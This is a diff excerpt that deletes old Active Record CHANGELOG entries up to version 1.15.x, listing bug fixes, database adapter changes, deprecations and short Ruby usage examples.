-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 *Caio Chassot*
-
-* Bring the sybase adapter up to scratch for 1.2 release. *jsheets*
-
-* Rollback new_record? and id when an exception is raised in a save callback. #6910 *Ben Curren, outerim*
-
-* Pushing a record on an association collection doesn't unnecessarily load all the associated records. *Obie Fernandez, Jeremy Kemper*
-
-* Oracle: fix connection reset failure. #6846 *leonlleslie*
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 *leei, Jeremy Kemper*
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 *protocool*
-
-* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 *Alexander Dymo, Tobias Lütke*
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 *vitaly, Jeremy Kemper*
-
-* Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute *Cody Fauser*
-
-* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form *David Heinemeier Hansson*
-
-* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 *Zach Dennis*
-
-* Quote ActiveSupport::Multibyte::Chars. #6653 *Julian Tarkhanov*
-
-* Simplify query_attribute by typecasting the attribute value and checking whether it's nil, false, zero or blank. #6659 *Jonathan Viney*
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 *Andreas Schwarz*
-
-* Run validations in the order they were declared. #6657 *obrie*
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 *simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper*
-
-* Simplify association proxy implementation by factoring construct_scope out of method_missing. #6643 *martin*
-
-* Oracle: automatically detect the primary key. #6594 *vesaria, Michael Schoen*
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 *philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen*
-
-* Don't inspect unloaded associations. #2905 *lmarlow*
-
-* SQLite: use AUTOINCREMENT primary key in >= 3.1.0. #6588, #6616 *careo, lukfugl*
-
-* Cache inheritance_column. #6592 *Stefan Kaes*
-
-* Firebird: decimal/numeric support. #6408 *macrnic*
-
-* make add_order a tad faster. #6567 *Stefan Kaes*
-
-* Find with :include respects scoped :order. #5850
-
-* Support nil and Array in :conditions => { attr => value } hashes. #6548 *Assaf, Jeremy Kemper*
- find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 *Si*
-
-* SQLite: fix calculations workaround, remove count(distinct) query rewrite, cleanup test connection scripts. *Jeremy Kemper*
-
-* SQLite: count(distinct) queries supported in >= 3.2.6. #6544 *Bob Silva*
-
-* Dynamically generate reader methods for serialized attributes. #6362 *Stefan Kaes*
-
-* Deprecation: object transactions warning. *Jeremy Kemper*
-
-* has_one :dependent => :nullify ignores nil associates. #4848, #6528 *bellis@deepthought.org, janovetz, Jeremy Kemper*
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 *Michael Schoen*
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 *obrie*
-
-* Document other options available to migration's add_column. #6419 *grg*
-
-* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 *Jeremy Kemper*
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. *Jonathan Viney*
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters *Rick Olson*
-
-* Restore eager condition interpolation, document it's differences *Rick Olson*
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 *Jacob Fugal, Jeremy Kemper*
-
-* Add #delete support to has_many :through associations. Closes #6049 *Martin Landers*
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 *Rick Olson*
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 *turnip@turnipspatch.com*
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 *wreese@gmail.com*
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 *jonathan*
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 *Bob Silva*
-
-* The has_many create method works with polymorphic associations. #6361 *Dan Peterson*
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 *Stefan Kaes*
-
-* save! shouldn't validate twice. #6324 *maiha, Bob Silva*
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 *Michael Schuerig*
-
-* Add an attribute reader method for ActiveRecord::Base.observers *Rick Olson*
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 *Bob Silva*
-
-* has_one associations with a nil target may be safely marshaled. #6279 *norbauer, Jeremy Kemper*
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects *Michael Koziarski*
-
-* Add a :namespace option to AR::Base#to_xml *Michael Koziarski*
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. *Jeremy Kemper*
-
-* Mock Time.now for more accurate Touch mixin tests. #6213 *Dan Peterson*
-
-* Improve yaml fixtures error reporting. #6205 *Bruce Williams*
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 *Michael Koziarski*
-
-* Add deprecation warning for inferred foreign key. #6029 *Josh Susser*
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 *jimw@mysql.com*
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 *Josh Susser*
-
-* Document validates_presences_of behavior with booleans: you probably want validates_inclusion_of :attr, :in => [true, false]. #2253 *Bob Silva*
-
-* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 *Tom Ward*
-
-* to_xml: the :methods option works on arrays of records. #5845 *Josh Starcher*
-
-* Deprecation: update docs. #5998 *Jakob Skjerning, Kevin Clark*
-
-* Add some XmlSerialization tests for ActiveRecord *Rick Olson*
-
-* has_many :through conditions are sanitized by the associating class. #5971 *martin.emde@gmail.com*
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output *Jamis Buck*
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 *Chris Mear, Jonathan Viney*
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 *Jonathan Viney*
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 *Tom Ward, kruth@bfpi*
-
-* SQLServer: fix eager association test. #5901 *Tom Ward*
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 *Kevin Clark*
-
-* Fixtures: correct escaping of \n and \r. #5859 *evgeny.zislis@gmail.com*
-
-* Migrations: gracefully handle missing migration files. #5857 *eli.gordon@gmail.com*
-
-* MySQL: update test schema for MySQL 5 strict mode. #5861 *Tom Ward*
-
-* to_xml: correct naming of included associations. #5831 *Josh Starcher*
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 *Josh Susser*
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. *Jeremy Kemper*
-
- # Create a tagging to associate the post and tag.
- post.tags << Tag.find_by_name('old')
- post.tags.create! :name => 'general'
-
- # Would have been:
- post.taggings.create!(:tag => Tag.find_by_name('finally')
- transaction do
- post.taggings.create!(:tag => Tag.create!(:name => 'general'))
- end
-
-* Cache nil results for :included has_one associations also. #5787 *Michael Schoen*
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. *Tobias Lütke*
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. *Jeremy Kemper*
- Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. *Jeremy Kemper*
- # people_active_last_name_index, people_active_deactivated_at_index
- add_index :people, [:active, :last_name]
- add_index :people, [:active, :deactivated_at]
- remove_index :people, [:active, :last_name]
- remove_index :people, [:active, :deactivated_at]
-
- WARNING: backward-incompatibility. Multicolumn indexes created before this
- revision were named using the first column name only. Now they're uniquely
- named using all indexed columns.
-
- To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. *richcollins@gmail.com*
-
-* Tweak fixtures so they don't try to use a non-ActiveRecord class. *Kevin Clark*
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. *Rick Olson*
-
-* Document find's :from option. Closes #5762. *andrew@redlinesoftware.com*
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 *guy.naor@famundo.com*
-
-* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
-
-* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. *Michael Schoen*
-
-* Add documentation for how to disable timestamps on a per model basis. Closes #5684. *matt@mattmargolis.net Marcel Molina Jr.*
-
-* Don't save has_one associations unnecessarily. #5735 *Jonathan Viney*
-
-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. *Rick Olson*
-
-* Formally deprecate the deprecated finders. *Michael Koziarski*
-
-* Formally deprecate rich associations. *Michael Koziarski*
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 *daniluk@yahoo.com*
-
-* Fix announcement of very long migration names. #5722 *blake@near-time.com*
-
-* The exists? class method should treat a string argument as an id rather than as conditions. #5698 *jeremy@planetargon.com*
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 *alexkwolfe@gmail.com*
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
- assert (Topic.exists?(:author_name => "David"))
- assert (Topic.exists?(:author_name => "Mary", :approved => true))
- assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. *Dave Thomas*
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. *Dan Peterson*
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. *Jeremy Kemper*
-
-* Patch sql injection vulnerability when using integer or float columns. *Jamis Buck*
-
-* Allow #count through a has_many association to accept :include. *Dan Peterson*
-
-* create_table rdoc: suggest :id => false for habtm join tables. *Zed Shaw*
-
-* PostgreSQL: return array fields as strings. #4664 *Robby Russell*
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 *Tom Ward*
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 *Will Rogers*
-
-* Oracle: BigDecimal support. #5667 *Michael Schoen*
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 *robbat2@gentoo.org, work@ashleymoran.me.uk*
-
-* Firebird migrations support. #5337 *Ken Kunz <kennethkunz@gmail.com>*
-
-* PostgreSQL: create/drop as postgres user. #4790 *mail@matthewpainter.co.uk, mlaster@metavillage.com*
-
-* Update callbacks documentation. #3970 *Robby Russell <robby@planetargon.com>*
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 *tietew@tietew.net*
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 *rick@rickbradley.com*
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 *matt@mattmargolis.net*
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 *Michael Schoen*
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 *Michael Schoen*
-
-* Added :group to available options for finds done on associations #5516 *mike@michaeldewey.org*
-
-* Minor tweak to improve performance of ActiveRecord::Base#to_param.
-
-* Observers also watch subclasses created after they are declared. #5535 *daniels@pronto.com.au*
-
-* Removed deprecated timestamps_gmt class methods. *Jeremy Kemper*
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 *brianegge@yahoo.com*
-
-* PostgreSQL: support microsecond time resolution. #5492 *alex@msgpad.com*
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. *Sam Stephenson*
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). *Shugo Maeda*
- # Obtain an exclusive lock on person 1 so we can safely increment visits.
- Person.transaction do
- # select * from people where id=1 for update
- person = Person.find(1, :lock => true)
- person.visits += 1
- person.save!
- end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. *Jeremy Kemper*
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. *Jeremy Kemper*
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. *Nicholas Seckar*
-
-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization *David Heinemeier Hansson*
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
- Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
-
- ...is the same as:
- Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-
- This makes it easier to pass in the options from a form or otherwise outside.
-
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 *kennethkunz@gmail.com*
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 *alex@purefiction.net*
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 *greg@lapcominc.com*
-
-* Fixed problems with eager loading and counting on SQL Server #5212 *kajism@yahoo.com*
-
-* Fixed that count distinct should use the selected column even when using :include #5251 *anna@wota.jp*
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 *alex@purefiction.net*
-
-* Allow models to override to_xml. #4989 *Blair Zajac <blair@orcaware.com>*
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 *shimbo@is.naist.jp*
-
-* Records and arrays of records are bound as quoted ids. *Jeremy Kemper*
- Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
- Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty *David Heinemeier Hansson*
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite. *Rick Olson*
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 *Josh Susser*
-
-* Provide Association Extensions access to the instance that the association is being accessed from.
- Closes #4433 *Josh Susser*
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. *Derrick Spell*
-
-* Add a quick note about :select and eagerly included associations. *Rick Olson*
-
-* Add docs for the :as option in has_one associations. Closes #5144 *cdcarter@gmail.com*
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create *David Heinemeier Hansson*
-
-* Added :allow_nil option for aggregations #5091 *Ian White*
-
-* Fix Oracle boolean support and tests. Closes #5139. *Michael Schoen*
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) *Jeremy Kemper*
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 *info@loobmedia.com*
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. *pdcawley@bofh.org.uk*
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 *keegan@thebasement.org*
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 *kajism@yahoo.com*
-
-* Allow :uniq => true with has_many :through associations. *Jeremy Kemper*
-
-* Ensure that StringIO is always available for the Schema dumper. *Marcel Molina Jr.*
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. *johan@textdrive.com*
-
-* Replace superfluous name_to_class_name variant with camelize. *Marcel Molina Jr.*
-
-* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. *Blair Zajac <blair@orcaware.com>*
-
-* Update FrontBase adapter to check binding version. Closes #4920. *mlaster@metavillage.com*
-
-* New Frontbase connections don't start in auto-commit mode. Closes #4922. *mlaster@metavillage.com*
-
-* When grouping, use the appropriate option key. *Marcel Molina Jr.*
-
-* Only modify the sequence name in the FrontBase adapter if the FrontBase adapter is actually being used. *Marcel Molina Jr.*
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. *mlaster@metavillage.com*
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. *Francois Beausoleil <francois.beausoleil@gmail.com>*
-
-* Fix syntax error in documentation. Closes #4679. *Mislav Marohnić*
-
-* Add Oracle support for CLOB inserts. Closes #4748. *schoenm@earthlink.net sandra.metz@duke.edu*
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. *kajism@yahoo.com*
-
-* Add support for :order option to with_scope. Closes #3887. *eric.daspet@survol.net*
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 *Caio Chassot <caio@v2studio.com>*
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. *mlaster@metavillage.com*
-
-* Sybase Adapter type conversion cleanup. Closes #4736. *dev@metacasa.net*
-
-* Fix bug where calculations with long alias names return null. *Rick Olson*
-
-* Raise error when trying to add to a has_many :through association. Use the Join Model instead. *Rick Olson*
-
- @post.tags << @tag # BAD
- @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) *Rick Olson*
-
-* Update inconsistent migrations documentation. #4683 *machomagna@gmail.com*
-
-* Add ActiveRecord::Errors#to_xml *Jamis Buck*
-
-* Properly quote index names in migrations (closes #4764) *John Long*
-
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. *Rick Olson*
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
-
-* DRY up association collection reader method generation. *Marcel Molina Jr.*
-
-* DRY up and tweak style of the validation error object. *Marcel Molina Jr.*
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) *Rick Olson*
-
- class Account < ActiveRecord::Base
- validates_uniqueness_of :email, :case_sensitive => false
- end
-
-* Allow multiple association extensions with :extend option (closes #4666) *Josh Susser*
-
- class Account < ActiveRecord::Base
- has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
- end
-
- *1.15.3* (March 12th, 2007)
-
- * Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool]
-
- * Consistently quote primary key column names. #7763 [toolmantim]
-
- * Fixtures: fix YAML ordered map support. #2665 [Manuel Holtgrewe, nfbuckley]
-
- * Fix has_many :through << with custom foreign keys. #6466, #7153 [naffis, Rich Collins]
-
-
-## 1.15.2 (February 5th, 2007) ##
-
-* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 *Dan Manges*
- Student.find(:all, :conditions => { :grade => 9..12 })
-
-* Don't create instance writer methods for class attributes. *Rick Olson*
-
-* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. *Jamis Buck*
-
-* SQLServer: don't choke on strings containing 'null'. #7083 *Jakob Skjerning*
-
-* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 *Si*
-
-* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 *Jonathan Viney, timc*
-
-* Fixtures use the table name and connection from set_fixture_class. #7330 *Anthony Eden*
-
-* SQLServer: quote table name in indexes query. #2928 *keithm@infused.org*
-
-
-## 1.15.1 (January 17th, 2007) ##
-
-* Fix nodoc breaking of adapters
-
-
-## 1.15.0 (January 16th, 2007) ##
-
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 *Jeremy McAnally*
-
-* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 *Dan Manges, Jeremy Kemper*
-
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 *Jonathan Viney, Manfred Stienstra, altano@bigfoot.com*
-
-* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 *Michael Schoen*
-
-* MySQL: retain SSL settings on reconnect. #6976 *randyv2*
-
-* SQLServer: handle [quoted] table names. #6635 *rrich*
-
-* acts_as_nested_set works with single-table inheritance. #6030 *Josh Susser*
-
-* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 *eventualbuddha, Michael Schoen*
-
-* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 *mschoen, tdfowler*
-
-* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 *Robby Russell*
-
-* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 *Caio Chassot*
-
-* Bring the sybase adapter up to scratch for 1.2 release. *jsheets*
-
-* Oracle: fix connection reset failure. #6846 *leonlleslie*
-
-* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 *leei, Jeremy Kemper*
-
-* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 *protocool*
-
-* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 *vitaly, Jeremy Kemper*
-
-* Support nil and Array in :conditions => { attr => value } hashes. #6548 *Assaf, Jeremy Kemper*
- find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
-
-* Quote ActiveSupport::Multibyte::Chars. #6653 *Julian Tarkhanov*
-
-* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 *simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper*
-
-* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 *Andreas Schwarz*
-
-* Oracle: automatically detect the primary key. #6594 *vesaria, Michael Schoen*
-
-* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 *philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen*
-
-* Firebird: decimal/numeric support. #6408 *macrnic*
-
-* Find with :include respects scoped :order. #5850
-
-* Dynamically generate reader methods for serialized attributes. #6362 *Stefan Kaes*
-
-* Deprecation: object transactions warning. *Jeremy Kemper*
-
-* has_one :dependent => :nullify ignores nil associates. #6528 *janovetz, Jeremy Kemper*
-
-* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 *Michael Schoen*
-
-* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 *obrie*
-
-* Document other options available to migration's add_column. #6419 *grg*
-
-* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 *Jeremy Kemper*
-
-* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. *Jonathan Viney*
-
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters *Rick Olson*
-
-* Restore eager condition interpolation, document it's differences *Rick Olson*
-
-* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 *Jacob Fugal, Jeremy Kemper*
-
-* Add #delete support to has_many :through associations. Closes #6049 *Martin Landers*
-
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 *Rick Olson*
-
-* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 *turnip@turnipspatch.com*
-
-* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 *wreese@gmail.com*
-
-* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 *jonathan*
-
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 *Bob Silva*
-
-* The has_many create method works with polymorphic associations. #6361 *Dan Peterson*
-
-* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 *Stefan Kaes*
-
-* save! shouldn't validate twice. #6324 *maiha, Bob Silva*
-
-* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 *Michael Schuerig*
-
-* Add an attribute reader method for ActiveRecord::Base.observers *Rick Olson*
-
-* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 *Bob Silva*
-
-* has_one associations with a nil target may be safely marshaled. #6279 *norbauer, Jeremy Kemper*
-
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects *Michael Koziarski*
-
-* Add a :namespace option to AR::Base#to_xml *Michael Koziarski*
-
-* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. *Jeremy Kemper*
-
-* Mock Time.now for more accurate Touch mixin tests. #6213 *Dan Peterson*
-
-* Improve yaml fixtures error reporting. #6205 *Bruce Williams*
-
-* Rename AR::Base#quote so people can use that name in their models. #3628 *Michael Koziarski*
-
-* Add deprecation warning for inferred foreign key. #6029 *Josh Susser*
-
-* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 *jimw@mysql.com*
-
-* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 *Josh Susser*
-
-* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 *Tom Ward*
-
-* to_xml: the :methods option works on arrays of records. #5845 *Josh Starcher*
-
-* has_many :through conditions are sanitized by the associating class. #5971 *martin.emde@gmail.com*
-
-* Fix spurious newlines and spaces in AR::Base#to_xml output *Jamis Buck*
-
-* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 *Chris Mear, Jonathan Viney*
-
-* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 *Jonathan Viney*
-
-* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 *Tom Ward, kruth@bfpi*
-
-* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 *Kevin Clark*
-
-* Fixtures: correct escaping of \n and \r. #5859 *evgeny.zislis@gmail.com*
-
-* Migrations: gracefully handle missing migration files. #5857 *eli.gordon@gmail.com*
-
-* MySQL: update test schema for MySQL 5 strict mode. #5861 *Tom Ward*
-
-* to_xml: correct naming of included associations. #5831 *Josh Starcher*
-
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 *Josh Susser*
-
-* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. *Jeremy Kemper*
-
- # Create a tagging to associate the post and tag.
- post.tags << Tag.find_by_name('old')
- post.tags.create! :name => 'general'
-
- # Would have been:
- post.taggings.create!(:tag => Tag.find_by_name('finally')
- transaction do
- post.taggings.create!(:tag => Tag.create!(:name => 'general'))
- end
-
-* Cache nil results for :included has_one associations also. #5787 *Michael Schoen*
-
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. *Tobias Lütke*
-
-* Nested classes are given table names prefixed by the singular form of the parent's table name. *Jeremy Kemper*
- Example: Invoice::Lineitem is given table name invoice_lineitems
-
-* Migrations: uniquely name multicolumn indexes so you don't have to. *Jeremy Kemper*
- # people_active_last_name_index, people_active_deactivated_at_index
- add_index :people, [:active, :last_name]
- add_index :people, [:active, :deactivated_at]
- remove_index :people, [:active, :last_name]
- remove_index :people, [:active, :deactivated_at]
-
- WARNING: backward-incompatibility. Multicolumn indexes created before this
- revision were named using the first column name only. Now they're uniquely
- named using all indexed columns.
-
- To remove an old multicolumn index, remove_index :table_name, :first_column
-
-* Fix for deep includes on the same association. *richcollins@gmail.com*
-
